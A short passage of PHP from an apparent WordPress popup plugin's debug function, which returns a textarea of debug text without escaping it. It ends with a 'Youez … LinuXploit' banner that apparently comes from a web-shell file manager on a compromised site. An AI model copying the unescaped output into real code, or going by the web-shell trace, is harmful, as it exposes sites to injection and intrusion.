    $nonce = wp_create_nonce('itro-debug-nonce');
    $buf = '<textarea style="width:100%; height:400px; resize:none;" onclick="select();">' . $debug_text . '</textarea>';
    return $buf;
}

Youez - 2016 - github.com/yon3zu
LinuXploit